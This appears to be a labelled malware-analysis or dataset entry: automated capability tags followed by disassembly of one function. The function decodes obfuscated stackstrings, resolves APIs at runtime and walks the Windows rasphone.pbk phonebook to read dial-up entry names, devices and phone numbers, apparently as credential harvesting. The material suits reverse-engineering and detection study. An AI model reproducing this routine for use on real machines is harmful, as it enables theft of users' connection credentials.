Function at 0x10004d20
Capabilities:
Check os version
Contain obfuscated stackstrings
Get common file path
Link many functions at runtime
Read .ini file
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x934
push ebx
push ebp
push esi
lea eax, [esp + 0x48]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov bl, 0x74
push eax
mov esi, ecx
push str.kernel32.dll
mov byte [esp + 0x54], 0x47
mov byte [esp + 0x55], 0x65
mov byte [esp + 0x56], bl
mov byte [esp + 0x57], 0x50
mov byte [esp + 0x58], 0x72
mov byte [esp + 0x59], 0x69
mov byte [esp + 0x5a], 0x76
mov byte [esp + 0x5b], 0x61
mov byte [esp + 0x5c], bl
mov byte [esp + 0x5d], 0x65
mov byte [esp + 0x5e], 0x50
mov byte [esp + 0x5f], 0x72
mov byte [esp + 0x60], 0x6f
mov byte [esp + 0x61], 0x66
mov byte [esp + 0x62], 0x69
mov byte [esp + 0x63], 0x6c
mov byte [esp + 0x64], 0x65
mov byte [esp + 0x65], 0x53
mov byte [esp + 0x66], 0x65
mov byte [esp + 0x67], 0x63
mov byte [esp + 0x68], bl
mov byte [esp + 0x69], 0x69
mov byte [esp + 0x6a], 0x6f
mov byte [esp + 0x6b], 0x6e
mov byte [esp + 0x6c], 0x4e
mov byte [esp + 0x6d], 0x61
mov byte [esp + 0x6e], 0x6d
mov byte [esp + 0x6f], 0x65
mov byte [esp + 0x70], 0x73
mov byte [esp + 0x71], 0x41
mov byte [esp + 0x72], 0
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
lea ecx, [esp + 0x18]
mov dword [esp + 0x94], eax
push ecx
push str.kernel32.dll
mov byte [esp + 0x20], 0x6c
mov byte [esp + 0x21], 0x73
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0x72
mov byte [esp + 0x24], 0x6c
mov byte [esp + 0x25], 0x65
mov byte [esp + 0x26], 0x6e
mov byte [esp + 0x27], 0x41
mov byte [esp + 0x28], 0
call edi
push eax
call ebp
mov dword [esp + 0x8c], eax
mov dword [esp + 0x14], 2
call fcn.100041f0
mov dword [esp + 0x10], eax
lea edx, [esp + 0x6c]
lea eax, [esp + 0x98]
push edx
push eax
mov dword [esp + 0x74], 0x105
call dword [sym.imp.USERENV.dll_GetProfilesDirectoryA]
lea ecx, [esp + 0x98]
push 0x1001f47c
push ecx
call dword [0x100218ac]
mov edx, dword [esi + 0x14]
lea eax, [esp + 0x98]
push edx
push eax
call dword [0x100218ac]
push str.Application_Data
lea ecx, [esp + 0x9c]
push ecx
call dword [0x100218ac]
mov edx, dword [0x1001f340]
lea eax, [esp + 0x98]
push edx
push eax
call dword [0x100218ac]
lea ecx, [esp + 0x98]
push ecx
call fcn.10004170
add esp, 4
test al, al
jne 0x10004f9d
mov eax, dword [0x1001f3a8]
mov ecx, dword [0x1001f3ac]
mov edx, dword [str.kernel32.dll]
mov dword [esp + 0x7c], eax
mov al, 0x45
mov dword [esp + 0x80], ecx
mov byte [esp + 0x30], al
mov byte [esp + 0x36], al
lea eax, [esp + 0x30]
mov dword [esp + 0x78], edx
mov dl, byte [0x1001f3b0]
lea ecx, [esp + 0x78]
push eax
push ecx
mov byte [esp + 0x8c], dl
mov byte [esp + 0x39], 0x78
mov byte [esp + 0x3a], 0x70
mov byte [esp + 0x3b], 0x61
mov byte [esp + 0x3c], 0x6e
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x3f], 0x6e
mov byte [esp + 0x40], 0x76
mov byte [esp + 0x41], 0x69
mov byte [esp + 0x42], 0x72
mov byte [esp + 0x43], 0x6f
mov byte [esp + 0x44], 0x6e
mov byte [esp + 0x45], 0x6d
mov byte [esp + 0x46], 0x65
mov byte [esp + 0x47], 0x6e
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], 0x53
mov byte [esp + 0x4a], bl
mov byte [esp + 0x4b], 0x72
mov byte [esp + 0x4c], 0x69
mov byte [esp + 0x4d], 0x6e
mov byte [esp + 0x4e], 0x67
mov byte [esp + 0x4f], 0x73
mov byte [esp + 0x50], 0x41
mov byte [esp + 0x51], 0
call edi
push eax
call ebp
push str._USERPROFILE_Application_Data
push 0x1001f344
mov ebx, eax
call dword [0x100218ac]
lea edx, [esp + 0x98]
push 0x105
push edx
push 0x1001f344
call ebx
push str.wsprintfA
push str.USER32.dll
call edi
push eax
call ebp
push str.SHGetSpecialFolderPath
push str.SHELL32.dll
mov ebx, eax
call edi
push eax
call ebp
push 0
lea ecx, [esp + 0x440]
push 0x23
push ecx
push 0
call eax
lea edx, [esp + 0x43c]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push edx
lea eax, [esp + 0x444]
push 0x1001f3e0
push eax
call ebx
mov edi, dword [esp + 0x20]
add esp, 0x10
lea ecx, [esp + 0x6c]
lea edx, [esp + 0x234]
push ecx
push edx
push edi
mov dword [esp + 0x78], 0x105
call dword [sym.imp.USERENV.dll_GetUserProfileDirectoryA]
lea eax, [esp + 0x234]
push str.Application_Data
push eax
call dword [0x100218ac]
mov ecx, dword [0x1001f340]
lea edx, [esp + 0x234]
push ecx
push edx
call dword [0x100218ac]
test edi, edi
je 0x1000503f
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x234]
lea eax, [esp + 0x98]
lea ecx, [esp + 0x43c]
push edx
mov dword [esp + 0x7c], eax
mov dword [esp + 0x80], ecx
call fcn.10004170
add esp, 4
test al, al
je 0x1000509e
lea eax, [esp + 0x234]
lea ecx, [esp + 0x98]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x1000509e
lea edx, [esp + 0x234]
mov edi, 3
mov dword [esp + 0x80], edx
jmp 0x100050a2
mov edi, dword [esp + 0x14]
lea eax, [esp + 0x1a0]
mov dword [esp + 0x1a0], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x1b0], 2
jne 0x100050d6
cmp dword [esp + 0x1a4], 5
jb 0x100050d6
mov ecx, esi
call fcn.10004c40
push 0x1000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov ebp, eax
test edi, edi
mov dword [esp + 0x88], ebp
jle 0x10005365
lea ecx, [esp + 0x78]
mov dword [esp + 0x10], edi
mov dword [esp + 0x70], ecx
mov edx, dword [esp + 0x70]
mov ecx, 0x400
xor eax, eax
mov edi, ebp
rep stosd dword es:[edi], eax
mov eax, dword [edx]
push eax
push 0x1000
push ebp
mov dword [esp + 0x80], eax
call dword [esp + 0xa0]
cmp byte [ebp], 0
je 0x1000534b
push ebp
mov ecx, esi
call fcn.10005840
mov dword [esp + 0x14], eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x33c]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x744]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x844]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x644]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x544]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x74]
lea ecx, [esp + 0x33c]
push eax
push pe_nt_image_headers32
push ecx
push 0
push str.DialParamsUID
push ebp
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jle 0x10005245
mov eax, dword [esi + 8]
xor ebx, ebx
test eax, eax
jle 0x10005245
xor edi, edi
mov ecx, dword [esi + 0x1c]
mov edx, edi
add edx, ecx
lea eax, [esp + 0x33c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x100051e5
mov eax, dword [esi + 8]
inc ebx
add edi, 0x301
cmp ebx, eax
jl 0x100051bb
jmp 0x10005245
push str.lstrcpyA
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esi + 0x1c]
lea edi, [ebx + ebx*2]
shl edi, 8
add edi, ebx
mov dword [esp + 0x90], eax
lea edx, [edi + ecx + 0x200]
lea ecx, [esp + 0x744]
push edx
push ecx
call eax
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x844]
lea eax, [edi + edx + 0x100]
push eax
push ecx
call dword [esp + 0x98]
mov edx, dword [esi + 0x1c]
mov byte [edi + edx + 0x300], 1
mov edi, dword [esp + 0x74]
mov ebx, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push edi
lea eax, [esp + 0x648]
push pe_nt_image_headers32
push eax
lea ecx, [esp + 0x30]
push 0
push ecx
push ebp
mov byte [esp + 0x3c], 0x50
mov byte [esp + 0x3d], 0x68
mov byte [esp + 0x3e], 0x6f
mov byte [esp + 0x3f], 0x6e
mov byte [esp + 0x40], 0x65
mov byte [esp + 0x41], 0x4e
mov byte [esp + 0x42], 0x75
mov byte [esp + 0x43], 0x6d
mov byte [esp + 0x44], 0x62
mov byte [esp + 0x45], 0x65
mov byte [esp + 0x46], 0x72
mov byte [esp + 0x47], 0
call ebx
push edi
lea edx, [esp + 0x548]
push pe_nt_image_headers32
push edx
push 0
push str.Device
push ebp
call ebx
lea eax, [esp + 0x544]
mov ecx, esi
push eax
call fcn.10005840
lea ecx, [esp + 0x744]
mov ebx, eax
push ecx
mov ecx, esi
call fcn.10005840
mov ecx, dword [esp + 0x14]
mov edi, eax
lea edx, [esp + 0x644]
push ebx
lea eax, [esp + 0x848]
push edx
push eax
push edi
lea edx, [esp + 0x34c]
push ecx
push edx
mov ecx, esi
call fcn.100053e0
mov eax, dword [esp + 0x14]
test eax, eax
je 0x10005314
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
test edi, edi
je 0x10005321
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
test ebx, ebx
je 0x1000532e
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
push ebp
call dword [esp + 0x90]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x10005130
mov ebp, dword [esp + 0x88]
mov ecx, dword [esp + 0x70]
mov eax, dword [esp + 0x10]
add ecx, 4
dec eax
mov dword [esp + 0x70], ecx
mov dword [esp + 0x10], eax
jne 0x10005100
mov eax, dword [esi + 8]
xor ebx, ebx
test eax, eax
jle 0x100053c6
xor edi, edi
mov eax, dword [esi + 0x1c]
add eax, edi
mov cl, byte [eax + 0x300]
test cl, cl
jne 0x100053b8
mov dl, byte [eax + 0x200]
lea ecx, [eax + 0x200]
test dl, dl
jne 0x10005399
mov dl, byte [eax + 0x100]
test dl, dl
je 0x100053b8
push 0x100218a8
lea edx, [eax + 0x100]
push 0x100218a8
push edx
push ecx
push 0x100218a8
push eax
mov ecx, esi
call fcn.100053e0
mov eax, dword [esi + 8]
inc ebx
add edi, 0x301
cmp ebx, eax
jl 0x10005370
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x934
ret